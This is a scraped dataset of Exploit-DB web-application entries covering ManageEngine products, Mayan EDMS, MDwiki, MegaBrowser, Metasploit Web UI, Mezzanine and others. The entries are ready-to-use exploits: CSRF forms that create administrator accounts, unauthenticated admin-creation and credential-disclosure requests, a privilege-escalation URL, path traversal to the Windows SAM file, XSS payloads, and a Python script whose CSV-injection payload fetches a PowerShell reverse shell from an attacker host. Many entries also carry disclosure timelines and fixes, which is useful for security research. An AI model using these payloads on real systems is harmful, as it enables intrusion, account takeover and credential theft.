deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39399
Description: Manage Engine Network Configuration Manager Build 11000 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2016-02-02
Author: Kaustubh G. Padwad

Exploit:
=========================================================================================
Cross-Site Request Forgery Vulnerability in ManageEngine Network Configuration Management
=========================================================================================

.. contents:: Table Of Content

Overview
========
Title:- Cross-Site Request Forgery (CSRF) Vulnerability in ManageEngine Network Configuration Management
Author: Kaustubh G. Padwad
Vendor: ZOHO Corp
Product: ManageEngine Network Configuration Manager 
Tested Version: : Network Configuration Manager Build 11000
Severity: HIGH

Advisory ID
============
2016-02-Manage_Engine


About the Product:
==================

Network Configuration Manager is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, Network Configuration Manager helps automate and take total control of the entire life cycle of device configuration management.

Description: 
============

This Cross-Site Request Forgery vulnerability enables an anonymous attacker to add an device into the application. and device fileds are vulnerable tocross site scripting attack This leads to compromising the whole domain as the application. 

Vulnerability Class:
====================

Cross-Site Request Forgery (CSRF) - https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

How to Reproduce: (POC):
========================

* Add follwing code to webserver and send that malicious link to application Admin.

* No Login Required as this is on logon Page

( Soical enginering might help here 

* For Example :- Device password has been changed click here to reset

CSRF COde
=========
<html>

  <body>

    <form action="http://192.168.1.10:8080/netflow/jspui/j_security_check">

      <input type="hidden" name="radiusUserEnabled" value="false" />

      <input type="hidden" name="AUTHRULE&#95;NAME" value="Authenticator" />

      <input type="hidden" name="j&#95;username" value="admin52f43&apos;><script>alert&#40;1&#41;<&#47;script>6f472a19875" />

      <input type="hidden" name="j&#95;password" value="admin" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>




Mitigation
==========
1. Download the security.xml from here https://drive.google.com/file/d/0B6Vlr2bSsrysR3N1cE82NUNJV28/view?usp=sharing
2. Stop the NCM service.
3. Replace the attached security.xml under NCM_Home/webapps/netflow/WEB-INF.
4. Start the NCM service and test for the Vulnerability


Disclosure: 
===========
28-JAN-2016 Repoerted to vendor
29-JAN-2016 Fixed By Vendor

#credits:
Kaustubh Padwad
Information Security Researcher
kingkaustubh@me.com
https://twitter.com/s3curityb3ast
http://breakthesec.com
https://www.linkedin.com/in/kaustubhpadwad
Exploit-DB #49885
Description: ManageEngine ADSelfService Plus 6.1 - CSV Injection
Type: webapps
Platform: multiple
Date: 2021-05-19
Author: Metin Yunus Kandemir

Exploit:
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection
# Date: 19/05/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Version: 6.1
# Description: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection


import requests
import sys
import urllib3

"""
Proof of Concept:
Step-1
1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the below.
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0
Step-2
2- The request attempt will be saved to"User Attempts Audit Report" table that is under the Reports >  Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12
j_username parameter value  is saved  to "User Name"  column which is start of line in the CSV file. If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection 
will be obtained by malicious user. 
Details: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection
"""


def loginReq(target,payload,getCsrf):
    s = requests.Session()
    data = {
        "j_username": payload,
        "j_password": "joker",
        "domainName": "ADSelfService+Plus+Authentication",
        "AUTHRULE_NAME": "ADAuthenticator",
        "adscsrf": getCsrf

    }
    url = "https://"+target+"/j_security_check"
    req = s.post(url, data=data, allow_redirects=False, verify=False)
    if req.status_code == 302:
    	print("[+] Sending request is successful.")
    	print("[+] Injected payload: %s" %payload)
    else:
    	print("[-] Something went wrong!")
    	print(req.status_code)

def getCsrfToken(target, payload=None):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    gUrl = "https://" + target + "/authorization.do"
    getCsrf = requests.get(url=gUrl, allow_redirects=False, verify=False)
    print("[*] Csrf token: %s" %getCsrf.cookies['_zcsr_tmp'])
    loginReq(target,payload,getCsrf)

def main(args):
    if len(args) != 3:
        print("usage: %s targetIp:port payload" %(args[0]))
        print("Example: python3 adSelfServiceCsv.py 192.168.1.253:9251 \"=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0\"")
        sys.exit(1)
    getCsrfToken(target=args[1], payload=args[2])

if __name__ == "__main__":
    main(args=sys.argv)
Exploit-DB #43892
Description: ManageEngine Desktop Central - Create Administrator
Type: webapps
Platform: multiple
Date: 2015-01-15
Author: Pedro Ribeiro

Exploit:
>> Administrator account creation in ManageEngine Desktop Central / Desktop Central MSP
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 31/12/2014 / Last updated: 05/01/2015

>> Background on the affected product:
"Desktop Central is an integrated desktop & mobile device management software that helps in managing the servers, laptops, desktops, smartphones and tablets from a central point. It automates your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more."

This vulnerability is being released as a 0day since ManageEngine failed to take action after 112 days. See timeline for details.

>> Technical details:
Vulnerability: Administrator account creation (unauthenticated)
CVE-2014-7862
Constraints: none; no authentication or any other information needed
Affected versions: all versions from v7 onwards

GET /servlets/DCPluginServelet?action=addPlugInUser&role=DCAdmin&userName=dcpwn&email=bla@bla.com&phNumber=123456&[CREDENTIAL_REDACTED]=&salt=[PII_REDACTED]99&createdtime=1337

This creates a new administrator user "dcpwn" with the password "admin". You can now execute code on all devices managed by Desktop Central!
A Metasploit auxiliary module that exploits this vulnerability has been released.

>> Fix: 
(updated 05/01/2015) Upgrade to version 9.0 build 90109 or later.

This vulnerability was initially disclosed on 31/12/2014 as a 0-day, as ManageEngine failed to take action after 112 days.

Timeline of disclosure:
11/09/2014:
- Vulnerability information sent to Romanus, Desktop Central project manager.

23/09/2014:
- Requested an update. Received reply "My development team is working on this to provide a fix. Let me check this and update you the status."

17/10/2014
- Requested an update. Received reply on the 19th "Due to festive season here i'm unable to get the update. Let me find this and update you by Monday."

30/10/2014
- Requested an update. Received reply "The development and testing of the reported part should get over in another 3 weeks and when it is ready for release build I'll send it for testing."

23/11/2014
- Requested an update. Received reply on the 24th "I was traveling hence couldn't give you an update.  It should get released by next week or early second week. I'll send you an update on this."

15/12/2014
- Requested an update. Received reply on the 18th "it has been handled from the Desktop Central side and awaiting for the release".

31/12/2014
- Released information and exploit 112 days after initial disclosure.

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
Exploit-DB #35980
Description: ManageEngine Desktop Central 9 Build 90087 - Cross-Site Request Forgery
Type: webapps
Platform: multiple
Date: 2015-02-03
Author: Mohamed Idris

Exploit:
<html>
<!--
# Exploit Title: ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)
# Date: 05 December 2014
# Exploit Author: Mohamed Idris – Help AG Middle East
# Vendor Homepage: http://www.manageengine.com/
# Software Link: http://www.manageengine.com/products/desktop-central/
# Version: All versions below build 90121
# Tested on: Version 9 Build 90087
# CVEID: CVE-2014-9331
# Vulnerability Fix: http://www.manageengine.com/products/desktop-central/cve20149331-cross-site-request-forgery.html

POC Code:
When an authenticated application admin clicks a link to the below code, you well get a user “Hacker” with the password “HackerPass” added to the application (convincing the admin to click on a link is so easy ;)).
Remember to change the IP to the target server IP address in the code.
-->
  <!-- CSRF PoC - Add an admin account -->
  <body>
    <form action="http://<Server-IP>:8020/STATE_ID/[PII_REDACTED]82/roleMgmt.do?actionToCall=addUser&SUBREQUEST=XMLHTTP" method="POST">
      <input type="hidden" name="AuthenticationType" value="DC" />
      <input type="hidden" name="newDCAuthUserName" value="Hacker" />
      <input type="hidden" name="newDCAuthUserPassword" value="HackerPass" />
      <input type="hidden" name="DCAuthconfirmPassword" value="HackerPass" />
      <input type="hidden" name="newDCAuthUserEmail" value="" />
      <input type="hidden" name="newDCAuthUserPNumber" value="" />
      <input type="hidden" name="newADAuthUserEmail" value="" />
      <input type="hidden" name="newADAuthUserPNumber" value="" />
      <input type="hidden" name="MapType" value="ALL" />
      <input type="hidden" name="aduserSearch" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="aduserSearchRO" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="action1" value="DC_ADD_USER" />
      <input type="hidden" name="addUser" value="Add User" />
      <input type="hidden" name="cancle" value="Cancel" />
      <input type="hidden" name="customerids" value="" />
      <input type="hidden" name="roleListDCAuth" value="1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="hidden" name="domainListADAuth" value="-1" />
      <input type="hidden" name="roleListADAuth" value="-1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #34449
Description: ManageEngine DeviceExpert 5.9 - User Credential Disclosure
Type: webapps
Platform: multiple
Date: 2014-08-28
Author: Pedro Ribeiro

Exploit:
>> User credential disclosure in ManageEngine DeviceExpert 5.9
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================

>> Background on the affected product:
"DeviceExpert is a web–based, multi vendor network change, configuration and compliance management (NCCCM) solution for switches, routers, firewalls and other network devices. Trusted by thousands of network administrators around the world, DeviceExpert helps automate and take total control of the entire life cycle of device configuration management."


>> Technical details:
Vulnerability: User credential disclosure / CVE-2014-5377
Constraints: no authentication or any other information needed.
Affected versions: UNFIXED as of 27/08/2014 - current version 5.9 build 5980 is vulnerable, older versions likely vulnerable

GET /ReadUsersFromMasterServlet

Example response:
<?xml version="1.0" encoding="UTF-8"?><discoveryresult><discoverydata><username>admin</username><userrole>Administrator</userrole><password>Ok6/FqR5WtJY5UCLrnvjQQ==</password><emailid>noreply@zohocorp.com</emailid><saltvalue>12345678</saltvalue></discoverydata></discoveryresult>

The passwords are a salted MD5 hash.
Exploit-DB #39394
Description: ManageEngine EventLog Analyzer 4.0 < 10 - Privilege Escalation
Type: webapps
Platform: multiple
Date: 2016-02-01
Author: GraphX

Exploit:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

# Exploit Title: ManageEngine Eventlog Analyzer Privilege Escalation
# Exploit Author: @GraphX
# Vendor Homepage:http://www.manageengine.com
# Version: 4.0 - 10


1. Description:
The manageengine eventlog analyzer fails to properly verify user
privileges when making changes via the userManagementForm.do.  An
unprivileged user would be allowed to make changes to any account by
changing the USER_ID field to a number corresponding to another user.
Testing discovered that the default admin and guest accounts are 1 and 2.

Considering the recent similar vulnerabilities discovered in a more
current version of a similar product by ManageEngine, it is possible that
more versions of the software including current, are vulnerable. According
to the vendor this is fixed in version 10.8.


2. Proof of Concept

        -login as an unprivileged user
        -Use the following URL to change the admin password to "admin"

http://<IP_ADDRESS>/event/userManagementForm.do?addField=false&action=request.getParameter(&[CREDENTIAL_REDACTED]=&USER_ID=1&Submit=Save+User+Details&userName=admin


3. Solution:
Upgrade to 10.8
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJWr4qsAAoJEGoTpzhfiAPxDvwQAKjV4QxOQXnC+LReaCtBBx/7
aZ8YVTrVZbWlvWoQsvksYmF5HRgQsD91pSYhbQ2IkPVGiDnl8MwTek8fnv7p62Ep
7ZL3sv+QB2IRi73TW3uE32rD5LBikv9qrVQfnr8uI8xM+HRjX347gABYVp7TAyFq
nq6oWT9ngdEgBMDb0x4tlCRSvodaWygeD+xOy3Pb/HlpZBMnwrvKwiRxSbvDKQw9
kM3P3uVcRIVFLaFaEMJUrWc/iliCLPaKbd9IDXoVp4tBoFj6uMNSdR8VeIDWQg5A
+RQH0oAsx1wqJOY02BpDXkMAEAIeXH1TEFz5vOvpTubLxC34aFHabLCMWjdCc0aK
+lE9HZLfzwRADo5KtdQAmiLjlllNsOuf58MUjtdGr+ODqyDjoJOoZcqm5RUfe0M4
EGpT0+6Xo6pWJMfM6fOnZT9OZd8hLac30Dz4GQTjFncSpVsMs9ED6NMHh4+nQiAk
r991kL4SyjF7YDV+rG86fvbWOfNpWrHZb/yLwAvAp7OtZBkDFmwoTPVtVSJHJ9N2
zQR4ufM0UnqVa3zKMzplngVnASStmg9HY4hxH8sUm7NYMq2ULimz1xTvg2jYoxWZ
Fp9JsEdiT/vdCWhqBthR4B3rVc/EtDasDHdzGHvp60HihAaF9GBG7RmgHUc13lp9
UAk1W7ydKCcFdw1HHFfL
=RJuV
-----END PGP SIGNATURE-----
Exploit-DB #52457
Description: MaNGOSWebV4  4.0.6 - Reflected XSS
Type: webapps
Platform: multiple
Date: 2025-12-03
Author: CodeSecLab

Exploit:
# Exploit Title: MaNGOSWebV4  4.0.6 - Reflected XSS 
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/paintballrefjosh/MaNGOSWebV4
# Software Link: https://github.com/paintballrefjosh/MaNGOSWebV4
# Version: 4.0.6
# Tested on: Ubuntu Windows
# CVE : CVE-2017-6478

PoC:
// Access the vulnerable URL and trigger the XSS payload
GET http://mangoswebv4/install/index.php?step=%3Cscript%3Ealert(1)%3C/script%3E


[Replace Your Domain Name]
Exploit-DB #33493
Description: Mayan-EDms Web-Based Document Management OS System - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: multiple
Date: 2014-05-24
Author: Dolev Farhi

Exploit:
# Exploit Title: Multiple Stored XSS
# Software: Maya EDMS
# Software Link: http://www.mayan-edms.com/downloads/Mayan%20EDMS%20v0.13.ova
# Version: 0.13 - latest
# Author: Dolev Farhi, email: dolev(at)openflare(dot)org   @f1nhack
# Date: 21.5.2014
# Tested on: Kali Linux
# Vendor homepage: www.mayan-edms.com



1. About the application:
=========================
Mayan (or Mayan EDMS) is a web-based free/libre document management system for managing documents within an organization


2. Vulnerability Description:
===============================
An attacker is able to create documents and tags with malicious code, potentially stealing admin cookies browsing or editing the documents.


3. Steps to reproduce:
========================
* Stored XSS 1:
Tags -> Create new tag -> <script>alert("XSS")</script> -> Save

any navigation to documents or search will execute the XSS

* Stored XSS 2: 
Setup -> Sources -> Staging folders -> Add new source -> Title it: <script>alert("XSS")</script> 
Submit -> navigate to edit it again -> XSS executes

* Stored XSS 3:
Setup -> Bootstrap -> Create new bootstrap setup -> Name <script>alert("XSS")</script> -> submit -> XSS

* Stored XSS 4:
Setup -> Smart links -> Create new smart link -> Title it <script>alert("XSS")</script> -> submit -> edit -> XSS executes


5. Proof of concept video
http://research.openflare.org/poc/maya-edms/maya-edms_multiple_xss.avi
Exploit-DB #46097
Description: MDwiki < 0.6.2 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-03-02
Author: evi1m0

Exploit:
Originally thought that only a problem with Tencent's site implementation, the black brother reminded me to look at the Github address in the source code, only to find the open source [MDwiki](https://github.com/Dynalon/mdwiki) universal system. (MDwiki is a wiki/CMS system built entirely on HTML5/Javascript technology and runs entirely on the client. No special server software is required, just upload mdwiki.html to the directory where you store the markdown files.) The problem occurs when the program gets the location The .hash value (normally test.md) is parsed and the ajax request is dynamically added to the page.

## MDwiki.min.js

Decompressing the compressed JavaScript is easy to debug, and the confusion variable is temporarily ignored, n() :

```
    function n() {
        var b;
        b = window.location.hash.substring(window.location.hash.startsWith("#!") ? 2 : 1), b = decodeURIComponent(b);
        var c = b.indexOf("#"); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b
    }
```

The variable b gets the value after location.hash #! and URLDecode , which is then assigned to a.md.mainHref .

## ajax getURL

```
 var d = {
    url: a.md.mainHref,
    dataType: "text"
};
a.ajax(d).done(function (a) {
    b = a, c()
}).fail(function () {
    var b = a.md.getLogger();
    b.fatal("Could not get " + a.md.mainHref), c()
})
```
The content will be requested by a.md.mainHref, and the b variable will be a:page content after completion.

```
var e = d(b);
a("#md-content").html(e), b = "";
var g = a.Deferred();
f(g), g.always(function () {
    c()
})
```
e = d(b), b requires equal to Payload, chase d function:

```
function d(b) {
    var c = {
        gfm: !0,
        tables: !0,
        breaks: !0
    };
    "original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" === a.md.config.lineBreaks && (c.breaks = !0), marked.setOptions(c);
    var d = marked(b);
    return d
}
```

The e value is dynamically added to #md-content after being rendered by the d function –> marked(b) function, causing a vulnerability.

## PoC
We can construct a page to write to Payload and set the ACCESS-CONTROL-ALLOW-ORIGIN header:

```
cat test/mdwiki.php
<?php

header("ACCESS-CONTROL-ALLOW-ORIGIN:*");
?>
<script>alert(location.href)</script>
```

eg: http://dynalon.github.io/mdwiki/mdwiki.html#!http://server.n0tr00t.com/test/mdwiki.php
Exploit-DB #43443
Description: MegaBrowser < 0.71b - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2003-06-04
Author: GulfTech Security

Exploit:
MegaBrowser Multiple Vulnerabilities

Vendor: Quality Programming Corporation
Product: MegaBrowser
Version: <= 0.71b
Website: http://www.megabrowser.com

BID: 7802 7803 

Description:
Megabrowser is a free standalone program that enables you to host websites and FTP sites by utilizing its powerful advanced peer-to-peer features. You can now host websites and FTP sites without paying any hosting fees. Simply store your sites in the directories of your choice on your laptop or personal computer. 

Directory Traversal Vulnerability:
MegaBrowser HTTP server is vulnerable to a directory traversal vulnerability which allows access to any file on the system as well as directory viewing of the root web directory 

http://www.someplace.com/../../../../../WINNT/repair/sam
http://www.someplace.com/../ 

FTP User Enumeration Vulnerability:
While not as serious as the previously mentioned vuln, this still poses a threat as it may allow an attacker to harvest a list of valid FTP usernames on the system. 

user blah 530 User can't log in user anonymous 331 Anonymous access allowed, send identity (e-mail name) as password 

Solution:
Vendor contacted, but never replied. No known solution. 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #18012
Description: Metasploit Web UI 4.1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2011-10-20
Author: Stefan Schurtz

Exploit:
Advisory:              		Metasploit 4.1.0 Web UI stored XSS vulnerability
Advisory ID:           	SSCHADV2011-033
Author:                		Stefan Schurtz
Affected Software:  	Successfully tested on Metasploit Community Edition
Vendor URL:          	http://metasploit.com/
Vendor Status:       	informed

==========================
Vulnerability Description:
==========================

Metasploit 4.1.0 Web UI "project[name]" parameter is prone to a XSS vulnerability

==================
Technical Details:
==================

Login to Web UI -> Create New Project -> Project name -> '"</script><script>alert(document.cookie)</script>

========
Credits:
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References:
===========

http://metasploit.com/
http://dev.metasploit.com/redmine/issues/5801
http://www.rul3z.de/advisories/SSCHADV2011-033.txt
XSS is fixed in Update[PII_REDACTED]0001
Exploit-DB #52385
Description: Mezzanine CMS 6.1.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2025-07-28
Author: Kevin Dicks

Exploit:
# Exploit Title: Mezzanine CMS 6.1.0 Stored Cross Site Scripting (XSS)
via component /blog/blogpost/add
# Date: 23/07/2025
# Exploit Author: Kevin Dicks
# Vendor Homepage: https://github.com/stephenmcd/mezzanine
# Software Link: https://github.com/stephenmcd/mezzanine
# Version: 6.1.0
# Category: Web Application
# Tested on: Ubuntu Server 20.04.6 LTS (Focal Fossa), Firefox browser
version 136.0 (64-bit)
# CVE : CVE-2025-50481
# Exploit link : https://github.com/kevinpdicks/Mezzanine-CMS-6.1.0-XSS

## Summary:
A cross-site scripting (XSS) vulnerability in the component
/blog/blogpost/add of Mezzanine CMS v6.1.0 allows attackers to execute
arbitrary web scripts or HTML via injecting a crafted payload into a
blog post.

## Reproduction Steps:
1. Login to the admin portal.
2. Create a new blog post.
3. Insert source code, and enter the following payload:
```

<script>alert(document.location)</script>

```
4. Save the new blog post.
5. The blog post is published, and can be accessed by any user.
6. Stored XSS is executed.

--